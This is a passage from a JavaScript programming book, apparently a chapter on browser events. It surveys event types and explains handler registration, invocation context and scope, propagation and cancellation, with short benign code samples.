After the introductory section on event types, the next two sections explain how to register event handlers and how the browser invokes those event handlers. Because of the historical evolution of the JavaScript event model and because of IE's lack of standards support prior to IE9, both of these topics are more complicated than you might expect.

The chapter ends with a series of examples that demonstrate how to work with a specific types of events. These event-type-specific sections cover:

- Document loading and readiness events
- Mouse events
- Mouse wheel events
- Drag-and-drop events
- Key events
- Text input events

17.1 Types of Events

In the early days of the Web, client-side programmers made do with only a small set of events: "load", "click", "mouseover", and the like. These legacy event types are well supported by all browsers and are the subject of §17.1.1. As the web platform has grown to include more powerful APIs, the set of events has grown large. No single standard

defines a complete set of events, and at the time of this writing, the number of events supported by browsers is growing rapidly. These new events come from three sources:

- The DOM Level 3 Events specification, which after a long period of inactivity is being actively worked on under the auspices of the W3C. DOM events are covered in §17.1.2.
- Many new APIs in the HTML5 specification (and related spin-off specifications) define new events for things like history management, drag-and-drop, cross-document messaging, and audio and video playback. §17.1.3 gives an overview of these events.
- The advent of touch-based and JavaScript-enabled mobile devices, such as the iPhone, have required the definition of new touch and gesture event types. See §17.1.4 for some Apple-specific examples.

Note that many of these new event types are not yet widely implemented and are defined by standards that are still in draft stage. The subsections that follow provide an overview of the events, but do not document each one in detail. The rest of this chapter covers the event handling model comprehensively and includes lots of examples of working with events that are well supported. If you understand how to work with events generally, you will be able to easily handle new event types as new web APIs are defined and implemented.

Event Categories

Events can be grouped into some general categories, and knowing what these categories are will help you to understand and organize the long list of events that follows:

Device-dependent input events
: These are events that are directly tied to a specific input device, such as the mouse or keyboard. They include legacy event types such as "mousedown", "mousemove", "mouseup", "keydown", "keypress", and "keyup" and also new touch-specific events like "touchmove" and "gesturechange".

Device-independent input events
: These are input events that are not directly tied to a specific input device. The click event, for example, indicates that a link or button (or other document element) has been activated. This is often done via a mouse click, but it could also be done by keyboard or (on touch-sensitive devices) by gesture. The textinput event (which is not yet widely implemented) is a device-independent alternative to the keypress event and supports keyboard input as well as alternatives such as cut-and-paste and handwriting recognition.

User interface events
: UI events are higher-level events, often on HTML form elements that define a user interface for a web application. They include the focus event (when a text input field gains keyboard focus), the change event when the user changes the value displayed by a form element, and the submit event when the user clicks a Submit button in a form.

State-change events

Some events are not triggered directly by user activity, but by network or browser activity, and indicate some kind of lifecycle or state-related change. The load event, fired on the Window object when the document is fully loaded, is probably the most commonly used of these events. The DOMContentLoaded event (discussed in §13.3.4) is another such event. The HTML5 history management mechanism (§22.2) fires the popstate event in response to the browser's Back button. The HTML5 offline web application API (§20.4) includes online and offline events. Chapter 18 shows how to use a readystatechange event to be notified when data requested from a server is ready. Similarly, the new API for reading user-selected local files (§22.6.5) uses events like "loadstart", "progress", and "loadend" for asynchronous notification of I/O progress.

API-specific events

A number of web APIs defined by HTML5 and related specifications include their own event types. The drag-and-drop API (§17.7) defines events such as "dragstart", "dragenter", "dragover", and "drop". Applications that want to define custom drag sources or drop targets must handle some of these events. The HTML5 `<video>` and `<audio>` elements (§21.2) define a long list of associated event types such as "waiting", "playing", "seeking", "volumechange", and so on. These events are usually only of interest to web apps that want to define custom controls for video or audio playback.

Timers and error handlers

Timers and error handlers (both of which are described in Chapter 14) are part of client-side JavaScript's asynchronous programming model and are similar to events. Although timers and error handlers are not discussed in this chapter, it is useful to think of them as related to event handling, and you may find it interesting to reread §14.1 and §14.6 in the context of this chapter.

17.1.1 Legacy Event Types

The events you'll use most often in your web apps are generally the ones that have been around the longest and are universally supported: events for dealing with the mouse, the keyboard, HTML forms, and the Window object. The sections below explain many important details about these kinds of events.

17.1.1.1 Form events

Forms and hyperlinks were the first scriptable elements in a web page, way back in the early days of the Web and of JavaScript. This means that form events are some of the most stable and well-supported of all event types. `<form>` elements fire submit events when the form is submitted and reset events when the form is reset. Button-like form elements (including radio buttons and checkboxes) fire click events when the user interacts with them. Form elements that maintain some kind of state generally fire change events when the user changes their state by entering text, selecting an item, or checking a box. For text input fields, a change event is not fired until the user has finished in-

teracting with a form element and has tabbed or clicked to move focus to another element. Form elements respond to keyboard focus changes by firing focus and blur events when they gain and lose the focus.

These form-related events are all covered in more detail in §15.9.3. A few more notes are in order here, however.

The submit and reset events have default actions that can be canceled by event handlers, and some click events do, too. The focus and blur events do not bubble, but all the other form events do. IE defines focusin and focusout events that do bubble as a useful alternative to focus and blur. The jQuery library (see Chapter 19) emulates focusin and focusout events for browsers that do not support them, and the DOM Level 3 Events specification is standardizing them as well.

Finally, note that browsers other than IE trigger an input event on `<textarea>` and other text-input form elements whenever the user enters text (via the keyboard or cut-and-paste) into the element. Unlike the change event, these input events are triggered for each insertion. Unfortunately, the event object of an input event does not specify what text has been input. (The new textinput event described later will be a useful alternative to this event.)

17.1.1.2 Window events

Window events represent occurrences related to the browser window itself, rather than any specific document content displayed inside the window. (For some of these events, however, an event with the same name can be fired on document elements.)

The load event is the most important of these events: it is fired when a document and all of its external resources (such as images) are fully loaded and displayed to the user. The load event was discussed throughout Chapter 13. DOMContentLoaded and readystatechange are alternatives to the load event: they are triggered sooner, when the document and its elements are ready to manipulate, but before external resources are fully loaded. §17.4 has examples of these document load-related events.

The unload event is the opposite of load: it is triggered when the user is navigating away from a document. An unload event handler might be used to save the user's state, but it cannot be used to cancel navigation. The beforeunload event is similar to unload but gives you the opportunity to ask the user to confirm that they really want to navigate away from your web page. If a handler for beforeunload returns a string, that string will be displayed to the user in a confirmation dialog before the new page is loaded, and the user will have the opportunity to cancel her navigation and remain at your page.

The `onerror` property of the Window object is something like an event handler, and it is triggered in response to JavaScript errors. It isn't a true event handler, however, because it is invoked with different arguments. See §14.6 for details.

Individual document elements, such as `<img>` elements, can also register handlers for load and error events. These are triggered when an external resource (the image, for

example) is fully loaded, or when an error occurs that prevents it from loading. Some browsers also support (and HTML5 standardizes) an abort event, which is triggered when an image (or other network resource) fails to load because the user stopped the loading process.

The focus and blur events described above for form elements are also used as Window events: they are triggered on a window when that browser window receives or loses keyboard focus from the operating system.

Finally, the resize and scroll events are fired on a Window when the user resizes or scrolls the browser window. Scroll events can also be fired on any scrollable document element, such as those with the CSS `overflow` property (§16.2.6) set. The event object passed to resize and scroll event handlers is just an ordinary Event object and does not have properties that specify how much resizing or scrolling occurred—you can determine the new window size and scrollbar position using the techniques shown in §15.8.

17.1.1.3 Mouse events

Mouse events are generated when the user moves or clicks the mouse over a document. These events are triggered on the most deeply nested element that the mouse pointer is over, but they bubble up through the document. The event object passed to mouse event handlers has properties set that describe the position and button state of the mouse and also specify whether any modifier keys were held down when the event occurred. The `clientX` and `clientY` properties specify the position of the mouse in window coordinates. The `button` and `which` properties specify which mouse button (if any) was pressed. (See the `Event` reference page, however, because these properties are difficult to use portably.) The `altKey`, `ctrlKey`, `metaKey`, and `shiftKey` properties are set to `true` when the corresponding keyboard modifier keys are held down. And for click events, the `detail` property specifies whether this was a single, double, or triple click.

The mousemove event is triggered any time the user moves or drags the mouse. These events occur frequently, so mousemove handlers must not trigger computationally intensive tasks. The mousedown and mouseup events are triggered when the user presses and releases a mouse button. By registering a mousedown handler that registers a mousemove handler, you can detect and respond to mouse drags. Doing this properly involves being able to capture mouse events so that you continue to receive mousemove events even when the mouse has moved out of the element it started in. §17.5 includes an example of handling drags.

After a mousedown and mouseup event sequence, the browser also triggers a click event. The click event was described above as a device-independent form event, but it is actually triggered on any document element, not just form elements, and it is passed an event object with all of the extra mouse-related fields described above. If the user clicks a mouse button twice in a row (within a sufficiently short amount of time), the second click event will be followed by a dblclick event. Browsers often display a context menu when the right mouse button is clicked. They generally fire a contextmenu event

before displaying the menu, and if you cancel the event, you can prevent the display of the menu. This is also an easy way to be notified of right mouse button clicks.

When the user moves the mouse so that it goes over a new element, the browser fires a mouseover event on that element. When the mouse moves so that it is no longer over an element, the browser fires a mouseout event on that element. For these events, the event object will have a `relatedTarget` property that specifies the other element involved in the transition. (See the `Event` reference page for the IE equivalent of the `relatedTarget` property.) mouseover and mouseout events bubble like all of the mouse events described here. This is often inconvenient, because when a mouseout handler is triggered, you have to check whether the mouse actually left the element you are interested in or if it merely transitioned from one child of the element to another. Because of this, IE supports nonbubbling versions of these events known as mouseenter and mouseleave. jQuery emulates support for these events in browsers other than IE (see Chapter 19), and the DOM Level 3 Events specification standardizes them.

When the user rotates the mouse wheel, browsers trigger a mousewheel event (or, in Firefox, a DOMMouseScroll event). The event object passed with these events includes properties that specify how much, and in which direction, the wheel was rotated. The DOM Level 3 Events specification is standardizing a more general multidimensional wheel event that, if implemented, will supersede both mousewheel and DOMMouseScroll. §17.6 includes a mousewheel event example.

17.1.1.4 Key events

When the web browser has keyboard focus, it generates events each time the user presses or releases a key on the keyboard. Keyboard shortcuts that have meaning to the operating system or to the browser itself are often "eaten" by the OS or browser and may not be visible to JavaScript event handlers, however. Keyboard events are triggered on whatever document element has keyboard focus, and they bubble up to the document and window. If no element has the focus, the events are triggered directly on the document. Keyboard event handlers are passed an event object with a `keyCode` field that specifies what key was pressed or released. In addition to `keyCode`, the event object for key events also has `altKey`, `ctrlKey`, `metaKey`, and `shiftKey` that describe the state of the keyboard modifier keys.

The keydown and keyup events are low-level keyboard events: they are triggered whenever a key (even a modifier key) is pressed or released. When a keydown event generates a printable character, an additional keypress event is triggered after the keydown but before the keyup. (In the case of a key that is held down until it repeats, there may be many keypress events before the keyup event.) The keypress event is a higher-level text event, and its event object specifies the character that was generated, not the key that was pressed.

The keydown, keyup, and keypress events are supported by all browsers, but there are some interoperability problems because the values of the `keyCode` property of the event object have never been standardized. The DOM Level 3 Events specification, described

below, attempts to addresses these interoperability problems, but has not yet been implemented. §17.9 includes an example of handling keydown events and §17.8 includes an example of processing keypress events.

17.1.2 DOM Events

The DOM Level 3 Events specification has been under development by the W3C for about a decade. At the time of this writing, it has undergone substantial revision to bring it in line with current browser reality and it is finally in the "last call working draft" stage of standardization. It standardizes many of the legacy events described above and adds some new ones described here. These new event types are not yet widely supported, but browser vendors are expected to implement them once the standard is final.

As noted above, the DOM Level 3 Events specification standardizes the focusin and focusout events as bubbling alternatives to the focus and blur events and standardizes the mouseenter and mouseleave events as nonbubbling alternatives to mouseover and mouseout. This version of the standard also deprecates a number of event types that were defined by Level 2 but never widely implemented. Browsers are still allowed to generate events like DOMActivate, DOMFocusIn, and DOMNodeInserted, but these are no longer required, and they are not documented in this book.[3]

What is new in the DOM Level 3 Events specification is standardized support for two-dimensional mouse wheels via the wheel event and better support for text input events with a textinput event and with a new KeyboardEvent object that is passed as the argument to handlers for keydown, keyup, and keypress events.

A handler for a wheel event receives an event object with all the usual mouse event properties, and also `deltaX`, `deltaY`, and `deltaZ` properties that report rotation around three different mouse wheel axes. (Most mouse wheels are one or two dimensional and do not use `deltaZ`.) See §17.6 for more on mousewheel events.

DOM Level 3 Events defines the keypress event described above, but deprecates it in favor of a new event named textinput. Rather than a hard-to-use numeric `keyCode` value, the event object passed to a textinput event handler has a `data` property that specifies the string of text that was entered. The textinput event is not a keyboard-specific event: it is triggered whenever text input occurs, whether via the keyboard, cut-and-paste, drag-and-drop, and so on. The specification defines an `inputMethod` property on the event object and a set of constants representing different kinds of text input (keyboard, paste or drop, handwriting or voice recognition, and so on). At the time of this writing, Safari and Chrome support a version of this event using the mixed-case name `textInput`. Its event object includes the `data` property but not the `inputMethod` property. §17.8 includes an example that makes use of this textInput event.

3. The only event in common use with "DOM" in its name is DOMContentLoaded. This event was introduced by Mozilla and was never part of the DOM Events standard.

This new DOM standard also simplifies keydown, keyup, and keypress events by adding new `key` and `char` properties to the event object. Both of these properties are strings. For key events that generate printable characters, `key` and `char` will be equal to the generated text. For control keys, the `key` property will be a string like "Enter", "Delete", or "Left" that identifies the key. The `char` property will either be `null`, or, for control keys like Tab that have a character code, it will be the string generated by the key. At the time of this writing, no browsers support these `key` and `char` properties, but Example 17-8 will use the `key` property if and when it is implemented.

17.1.3 HTML5 Events

HTML5 and related standards define a host of new APIs for web applications (see Chapter 22). Many of these APIs define events. This section lists and briefly describes these HTML5 and web application events. Some of these events are ready to be used now and are explained in more detail elsewhere in the book. Others are not yet widely implemented and are not documented in any detail.

One of the widely advertised features of HTML is inclusion of `<audio>` and `<video>` elements for playing sound and video. These elements have a long list of events that they trigger to send notifications about network events, data buffering status, and playback state:

```
canplay          loadeddata       playing          stalled
canplaythrough   loadedmetadata   progress         suspend
durationchange   loadstart        ratechange       timeupdate
emptied          pause            seeked           volumechange
ended            play             seeking          waiting
```

These media events are passed an ordinary event object with no special properties. The `target` property identifies the `<audio>` or `<video>` element, however, and that element has many relevant properties and methods. See §21.2 for more details on these elements, their properties, and their events.

The HTML5 drag-and-drop API allows JavaScript applications to participate in OS-based drag-and-drop operations, transferring data between web applications and native applications. The API defines the following seven event types:

```
dragstart    drag         dragend
dragenter    dragover     dragleave
drop
```

These drag-and-drop events are triggered with an event object like those sent with mouse events. One additional property, `dataTransfer`, holds a DataTransfer object that contains information about the data being transferred and the formats in which it is available. The HTML5 drag-and-drop API is explained and demonstrated in §17.7.

HTML5 defines a history management mechanism (§22.2) that allows web applications to interact with the browser's Back and Forward buttons. This mechanism involves events named hashchange and popstate. These events are lifecycle notification

events like load and unload and are fired at the Window object rather than any individual document element.

HTML5 defines a lot of new features for HTML forms. In addition to standardizing the form input event described earlier, HTML5 also defines a form validation mechanism, which includes an invalid event fired on form elements that have failed validation. Browser vendors other than Opera have been slow to implement HTML5's new form features and events, however, and this book does not cover them.

HTML5 includes support for offline web applications (see §20.4) that can be installed locally in an application cache so that they can run even when the browser is offline (as when a mobile device is out of network range). The two most important events associated with this are the offline and online events: they are triggered on the Window object whenever the browser loses or gains a network connection. A number of additional events are defined to provide notification of application download progress and application cache updates:

```
cached      checking      downloading    error
noupdate    obsolete      progress       updateready
```

A number of new web application APIs use a message event for asynchronous communication. The Cross-Document Messaging API (§22.3) allows scripts in a document from one server to exchange messages with scripts in a document from another server. This works around the limitations of the same-origin policy (§13.6.2) in a secure way. Each message that is sent triggers a message event on the Window of the receiving document. The event object passed to the handler includes a `data` property that holds the content of the message as well as `source` and `origin` policies that identify the sender of the message. The message event is used in similar ways for communication with Web Workers (§22.4) and for network communication via Server-Sent Events (§18.3) and WebSockets (§22.9).

HTML5 and related standards define some events that are triggered on objects other than windows, documents, and document elements. Version 2 of the XMLHttpRequest specification, as well as the File API specification, define a series of events that track the progress of asynchronous I/O. They trigger events on an XMLHttpRequest or FileReader object. Each read operation begins with a loadstart event, followed by progress events and a loadend event. Additionally, each operation ends with a load, error, or abort event just before the final loadend event. See §18.1.4 and §22.6.5 for details.

Finally, HTML5 and related standards define a few miscellaneous event types. The Web Storage (§20.1) API defines a storage event (on the Window object) that provides notification of changes to stored data. HTML5 also standardizes the beforeprint and afterprint events that were originally introduced by Microsoft in IE. As their names imply, these events are triggered on a Window immediately before and immediately after its document is printed and provide an opportunity to add or remove content such as the date and time that the document was printed. (These events should not be used to change the presentation of a document for printing because CSS media types already exist for that purpose.)

17.1.4 Touchscreen and Mobile Events

The widespread adoption of powerful mobile devices, particularly those with touchscreens, has required the creation of new categories of events. In many cases, touchscreen events are mapped to traditional event types such as click and scroll. But not every interaction with a touchscreen UI emulates a mouse, and not all touches can be treated as mouse events. This section briefly explains the gesture and touch events generated by Safari when running on Apple's iPhone and iPad devices and also covers the orientationchange event generated when the user rotates the device. At the time of this writing, there are no standards for these events, but the W3C has begun work on a "Touch Events Specification" that uses Apple's touch event as a starting point. These events are not documented in the reference section of this book, but you can find more information at the Apple Developer Center.

Safari generates gesture events for two-finger scaling and rotation gestures. The gesturestart event is fired when the gesture begins and gestureend is fired when it ends. Between these two events are a sequence of gesturechange events that track the progress of the gesture. The event object sent with these events has numeric `scale` and `rotation` properties. The `scale` property is the ratio of the current distance between the two fingers to the initial distance between the fingers. A "pinch close" gesture has a `scale` less than 1.0, and a "pinch open" gesture has a `scale` greater than 1.0. The `rotation` property is the angle of finger rotation since the start of the event. It is reported in degrees, with positive values indicating clockwise rotation.

Gesture events are high-level events that notify you of a gesture that has already been interpreted. If you want to implement your own custom gestures, you can listen for low-level touch events. When a finger touches the screen a touchstart event is triggered. When the finger moves, a touchmove event is triggered. And when the finger is lifted from the screen, a touchend event is triggered. Unlike mouse events, touch events do not directly report the coordinates of the touch. Instead, the object sent with a touch event has a `changedTouches` property. This property is an array-like object whose elements each describe the position of a touch.

The orientationchanged event is triggered on the Window object by devices that allow the user to rotate the screen from portrait to landscape mode. The object passed with an orientationchanged event is not useful itself. In mobile Safari, however, the `orientation` property of the Window object gives the current orientation as one of the numbers 0, 90, 180, or -90.

17.2 Registering Event Handlers

There are two basic ways to register event handlers. The first, from the early days of the Web, is to set a property on the object or document element that is the event target. The second, newer and more general, technique is to pass the handler to a method of the object or element. To complicate matters, there are two versions of each technique.

You can set an event handler property in JavaScript code, or for document elements, you can set the corresponding attribute directly in HTML. For handler registration by method invocation, there is a standard method, named `addEventListener()`, that is supported by all browsers except IE8 and before, and a different method, named `attachEvent()`, for all versions of IE before IE9.

17.2.1 Setting Event Handler Properties

The simplest way to register an event handler is by setting a property of the event target to the desired event handler function. By convention, event handler properties have names that consist of the word "on" followed by the event name: `onclick`, `onchange`, `onload`, `onmouseover`, and so on. Note that these property names are case sensitive and are written in all lowercase, even when the event type (such as "readystatechange" consists of multiple words. Here are two example event handler registrations:

```
// Set the onload property of the Window object to a function.
// The function is the event handler: it is invoked when the document loads.
window.onload = function() {
    // Look up a <form> element
    var elt = document.getElementById("shipping_address");
    // Register an event handler function that will be invoked right
    // before the form is submitted.
    elt.onsubmit = function() { return validate(this); }
}
```

This event handler registration technique works in all browsers for all commonly used event types. In general, all widely implemented web APIs that define events allow handlers to be registered by setting event handler properties.

The shortcoming of event handler properties is that they are designed around the assumption that event targets will have at most one handler for each type of event. If you are writing library code for use in arbitrary documents, it is better to register event handlers using a technique (such as `addEventListener()`) that will not modify or overwrite any previously registered handlers.

17.2.2 Setting Event Handler Attributes

The event handler properties of a document element can also be set as attributes on the corresponding HTML tag. If you do this, the attribute value should be a string of JavaScript code. That code should be the *body* of the event handler function, not a complete function declaration. That is, your HTML event handler code should not be surrounded by curly braces and prefixed with the `function` keyword. For example:

```
<button onclick="alert('Thank you');">Click Here</button>
```

If an HTML event handler attribute contains multiple JavaScript statements, you must remember to separate those statements with semicolons or to break the attribute value across multiple lines.

Some event types are directed at the browser as a whole, rather than at any particular document element. In JavaScript, handlers for these events are registered on the Window object. In HTML, we place them on the `<body>` tag, but the browser registers them on the Window. The following is the complete list of such event handlers as defined by the draft HTML5 specification:

```
onafterprint    onfocus         ononline        onresize
onbeforeprint   onhashchange    onpagehide      onstorage
onbeforeunload  onload          onpageshow      onundo
onblur          onmessage       onpopstate      onunload
onerror         onoffline       onredo
```

When you specify a string of JavaScript code as the value of an HTML event handler attribute, the browser converts your string into a function that looks something like this:

```
function(event) {
    with(document) {
        with(this.form || {}) {
            with(this) {
                /* your code here */
            }
        }
    }
}
```

If the browser supports ES5, the function is defined in non-strict mode (see §5.7.3). We'll see more about the `event` argument and the `with` statements when we consider event handler invocation in §17.3.

A common style in client-side programming involves keeping HTML content separate from JavaScript behavior. Programmers who follow this discipline shun (or at least avoid) HTML event handler attributes, since they directly mix JavaScript and HTML.

17.2.3 addEventListener()

In the standard event model supported by all browsers other than IE8 and earlier, any object that can be an event target—this includes the Window and Document objects and all document Elements—defines a method named `addEventListener()` that you can use to register an event handler for that target. `addEventListener()` takes three arguments. The first is the event type for which the handler is being registered. The event type (or name) is a string and it should not include the "on" prefix that is used when setting event handler properties. The second argument to `addEventListener()` is the function that should be invoked when the specified type of event occurs. The final argument to `addEventListener()` is a boolean value. Normally, you'll pass `false` for this argument. If you pass `true` instead, your function is registered as a *capturing* event handler and is invoked at a different phase of event dispatch. We'll cover event capturing in §17.3.6. You ought to be able to omit the third argument instead of passing `false`, and the specification may eventually change to allow this, but at the time of this writing, omitting that argument is an error in some current browsers.

The code below registers two handlers for the click event on a `<button>` element. Note the differences between the two techniques used:

```
<button id="mybutton">Click me</button>
<script>
var b = document.getElementById("mybutton");
b.onclick = function() { alert("Thanks for clicking me!"); };
b.addEventListener("click", function() { alert("Thanks again!"); }, false);
</script>
```

Calling `addEventListener()` with "click" as its first argument does not affect the value of the `onclick` property. In the code above, a button click will generate two `alert()` dialog boxes. More importantly, you can call `addEventListener()` multiple times to register more than one handler function for the same event type on the same object. When an event occurs on an object, all of the handlers registered for that type of event are invoked, in the order in which they were registered. Invoking `addEventListener()` more than once on the same object with the same arguments has no effect—the handler function remains registered only once, and the repeated invocation does not alter the order in which handlers are invoked.

`addEventListener()` is paired with a `removeEventListener()` method that expects the same three arguments but removes an event handler function from an object rather than adding it. It is often useful to temporarily register an event handler and then remove it soon afterward. For example, when you get a mousedown event, you might register temporary capturing event handlers for mousemove and mouseup events so that you can see if the user drags the mouse. You'd then deregister these handlers when the mouseup event arrives. In such a situation, your event handler removal code might look like this:

```
document.removeEventListener("mousemove", handleMouseMove, true);
document.removeEventListener("mouseup", handleMouseUp, true);
```

17.2.4 attachEvent()

Internet Explorer, prior to IE9, does not support `addEventListener()` and `removeEventListener()`. In IE5 and later, it defines similar methods `attachEvent()` and `detachEvent()`.

The `attachEvent()` and `detachEvent()` methods work like `addEventListener()` and `removeEventListener()`, with the following exceptions:

- Since the IE event model does not support event capturing, `attachEvent()` and `detachEvent()` expect only two arguments: the event type and the handler function.
- The first argument to the IE methods is an event handler property name, with the "on" prefix, rather than the unprefixed event type. For example, pass "onclick" to `attachEvent()` where you would pass "click" to `addEventListener()`.
- `attachEvent()` allows the same event handler function to be registered more than once. When an event of the specified type occurs, the registered function will be invoked as many times as it was registered.

It is common to see event handler registration code that uses `addEventListener()` in browsers that support it and otherwise uses `attachEvent()`:

```
var b = document.getElementById("mybutton");
var handler = function() { alert("Thanks!"); };
if (b.addEventListener)
    b.addEventListener("click", handler, false);
else if (b.attachEvent)
    b.attachEvent("onclick", handler);
```

17.3 Event Handler Invocation

Once you've registered an event handler, the web browser will invoke it automatically when an event of the specified type occurs on the specified object. This section describes event handler invocation in detail, explaining event handler arguments, the invocation context (the `this` value), the invocation scope, and the meaning of the return value of an event handler. Unfortunately, some of these details are different for IE8 and before than for other browsers.

In addition to describing how individual handlers are invoked, this section also explains how events *propagate*: how a single event can trigger the invocation of multiple handlers on the original event target and also on containing elements of the document.

17.3.1 Event Handler Argument

Event handlers are normally (there is one exception, described below) invoked with an event object as their single argument. The properties of the event object provide details about the event. The `type` property, for example, specifies the type of the event that occurred. §17.1 mentioned a number of other event object properties for various event types.

In IE8 and before, event handlers registered by setting a property are not passed an event object when they are invoked. Instead, the event object is available through the global variable `window.event`. For portability, you can write event handlers like this, so that they use the `window.event` if no argument is supplied:

```
function handler(event) {
    event = event || window.event;
    // Handler code goes here
}
```

Event handlers registered with `attachEvent()` are passed an event object, but they can also use `window.event`.

Recall from §17.2.2 that when you register an event handler by setting an HTML attribute, the browser converts your string of JavaScript code into a function. Browsers other than IE construct a function with a single argument named `event`. IE constructs a function that expects no argument. If you use the identifier `event` in such a function, you are referring to `window.event`. In either case, HTML event handlers can refer to the event object as `event`.

17.3.2 Event Handler Context

When you register an event handler by setting a property, it looks as if you are defining a new method on the document element:

```
e.onclick = function() { /* handler code */ };
```

It isn't surprising, therefore, that event handlers are invoked (with one IE-related exception, described below) as methods of the object on which they are defined. That is, within the body of an event handler, the `this` keyword refers to the event target.

Handlers are invoked with the target as their `this` value even when registered using `addEventListener()`. Unfortunately, however, this is not true for `attachEvent()`: handlers registered with `attachEvent()` are invoked as functions, and their `this` value is the global (Window) object. You can work around this with code like this:

```
/*
 * Register the specified handler function to handle events of the specified
 * type on the specified target. Ensure that the handler will always be
 * invoked as a method of the target.
 */
function addEvent(target, type, handler) {
    if (target.addEventListener)
        target.addEventListener(type, handler, false);
    else
        target.attachEvent("on" + type,
                           function(event) {
                               // Invoke the handler as a method of target,
                               // passing on the event object
                               return handler.call(target, event);
                           });
}
```

Note that event handlers registered using this method cannot be removed, since the wrapper function passed to `attachEvent()` is not retained anywhere to be passed to `detachEvent()`.

17.3.3 Event Handler Scope

Like all JavaScript functions, event handlers are lexically scoped. They are executed in the scope in which they are defined, not the scope from which they are invoked, and they can access any local variables from that scope. (This is demonstrated in the `addEvent()` function above, for example.)

Event handlers registered as HTML attributes are a special case, however. They are converted into top-level functions that have access to global variables but not to any local variables. But, for historical reasons, they run with a modified scope chain. Event handlers defined by HTML attributes can use the properties of the target object, the containing `<form>` object (if there is one), and the Document object as if they are local variables. §17.2.2 shows how an event handler function is created from an HTML event handler attribute, and the code there approximates this modified scope chain using `with` statements.

HTML attributes are not natural places to include long strings of code, and this modified scope chain allows helpful shortcuts. You can use `tagName` instead of `this.tagName`. You can use `getElementById` instead of `document.getElementById`. And, for document elements that are inside a `<form>`, you can refer to any other form element by ID, using `zipcode`, for example, instead of `this.form.zipcode`.

On the other hand, the modified scope chain of HTML event handlers is a source of pitfalls, since the properties of each of the objects in the chain shadow any properties of the same name in the global object. The Document object defines a (rarely used) `open()` method, for example, so an HTML event handler that wants to invoke the `open()` method of the Window object must explicitly write `window.open` instead of `open`. There is a similar (but more pernicious) problem with forms, because the names and IDs of form elements define properties on the containing form element (see §15.9.1). So if a form contains an element with the ID "location", for example, all HTML event handlers within that form must use `window.location` instead of `location` if they want to refer to the window's Location object.

17.3.4 Handler Return Value

The return value of an event handler registered by setting an object property or an HTML attribute is sometimes significant. In general, a return value of `false` tells the browser that it should not perform the default action associated with the event. The `onclick` handler of a Submit button in a form, for example, can return `false` to prevent the browser from submitting the form. (This is useful if the user's input fails client-side validation.) Similarly, an `onkeypress` handler on an input field can filter keyboard input by returning `false` if the user types an inappropriate character. (Example 17-6 filters keyboard input in this way.)

The return value of the `onbeforeunload` handler of the Window object is also significant. This event is triggered when the browser is about to navigate to a new page. If this event handler returns a string, it will be displayed in a modal dialog box that asks the user to confirm that she wants to leave the page.

It is important to understand that event handler return values are significant only for handlers registered as properties. We'll see below that event handlers registered with `addEventListener()` or `attachEvent()` must instead call the `preventDefault()` method or set the `returnValue` property of the event object.

17.3.5 Invocation Order

A document element or other object may have more than one event handler registered for a particular type of event. When an appropriate event occurs, the browser must invoke all of the handlers, following these rules of invocation order:

- Handlers registered by setting an object property or HTML attribute, if any, are always invoked first.

- Handlers registered with `addEventListener()` are invoked in the order in which they were registered.[4]
- Handlers registered with `attachEvent()` may be invoked in any order and your code should not depend on sequential invocation.

17.3.6 Event Propagation

When the target of an event is the Window object, or some other standalone object (such as an XMLHttpRequest), the browser responds to an event simply by invoking the appropriate handlers on that one object. When the event target is a Document or document Element, however, the situation is more complicated.

After the event handlers registered on the target element are invoked, most events "bubble" up the DOM tree. The event handlers of the target's parent are invoked. Then the handlers registered on the target's grandparent are invoked. This continues up to the Document object, and then beyond to the Window object. Event bubbling provides an alternative to registering handlers on lots of individual document elements: instead you can register a single handler on a common ancestor element and handle events there. You might register an "change" handler on a `<form>` element, for example, instead of registering a "change" handler for every element in the form.

Most events that occur on document elements bubble. Notable exceptions are the focus, blur, and scroll events. The load event on document elements bubbles, but it stops bubbling at the Document object and does not propagate on to the Window object. The load event of the Window object is triggered only when the entire document has loaded.

Event bubbling is the third "phase" of event propagation. The invocation of the event handlers of the target object itself is the second phase. The first phase, which occurs even before the target handlers are invoked, is called the "capturing" phase. Recall that `addEventListener()` takes a boolean value as its third argument. If that argument is `true`, the event handler is registered as a capturing event handler for invocation during this first phase of event propagation. Event bubbling is universally supported: it works in all browsers including IE, and it works for all handlers, regardless of how they are registered (unless they are registered as capturing event handlers). Event capturing, by contrast, only works with event handlers registered with `addEventListener()` when the third argument is `true`. This means that event capturing is not available in IE prior to IE9, and is not, at the time of this writing, a commonly used technique.

The capturing phase of event propagation is like the bubbling phase in reverse. The capturing handlers of the Window object are invoked first, then the capturing handlers of the Document object, then of the body object, and so on down the DOM tree until

4. The DOM Level 2 standard leaves the invocation order undefined, but current browsers all invoke the handlers in registration order and the current DOM Level 3 draft standardizes this behavior.

the capturing event handlers of the parent of the event target are invoked. Capturing event handlers registered on the event target itself are not invoked.

Event capturing provides an opportunity to peek at events before they are delivered to their target. A capturing event handler can be used for debugging, or it can be used along with the event cancellation technique described below to filter events so that the target event handlers are never actually invoked. One common use for event capturing is handling mouse drags, where mouse motion events need to be handled by the object being dragged, not the document elements over which it is dragged. See Example 17-2 for an example.

17.3.7 Event Cancellation

§17.3.4 explained that the return value of event handlers registered as properties can be used to cancel the browser's default action for the event. In browsers that support `addEventListener()`, you can also cancel the default action for an event by invoking the `preventDefault()` method of the event object. In IE prior to IE9, however, you do the same by setting the `returnValue` property of the event object to `false`. The following code shows a dummy event handler that uses all three cancellation techniques:

```
function cancelHandler(event) {
    var event = event || window.event;  // For IE

    /* Do something to handle the event here */

    // Now cancel the default action associated with the event
    if (event.preventDefault) event.preventDefault();  // Standard technique
    if (event.returnValue) event.returnValue = false;  // IE
    return false;        // For handlers registered as object properties
}
```

The current DOM Events module draft defines a property of the Event object named `defaultPrevented`. It is not yet widely supported, but the intent is that this property will normally be `false` but will become `true` if `preventDefault()` is called.[5]

Canceling the default action associated with an event is only one kind of event cancellation. We can also cancel the propagation of events. In browsers that support `addEventListener()`, the event object has a `stopPropagation()` method that you can invoke to prevent the continued propagation of the event. If there are other handlers defined on the same object, the rest of those handlers will still be invoked, but no event handlers on any other object will be invoked after `stopPropagation()` is called. The `stopPropagation()` method can be called at any time during event propagation. It works during the capturing phase, at the event target itself, and during the bubbling phase.

Prior to IE9, IE does not support the `stopPropagation()` method. Instead, the IE event object has a property named `cancelBubble`. Set this property to `true` to prevent any

5. The jQuery (see Chapter 19) event object has a `defaultPrevented()` method instead of a property.

further propagation. (IE8 and before do not support the capturing phase of event propagation, so bubbling is the only kind of propagation to be canceled.)

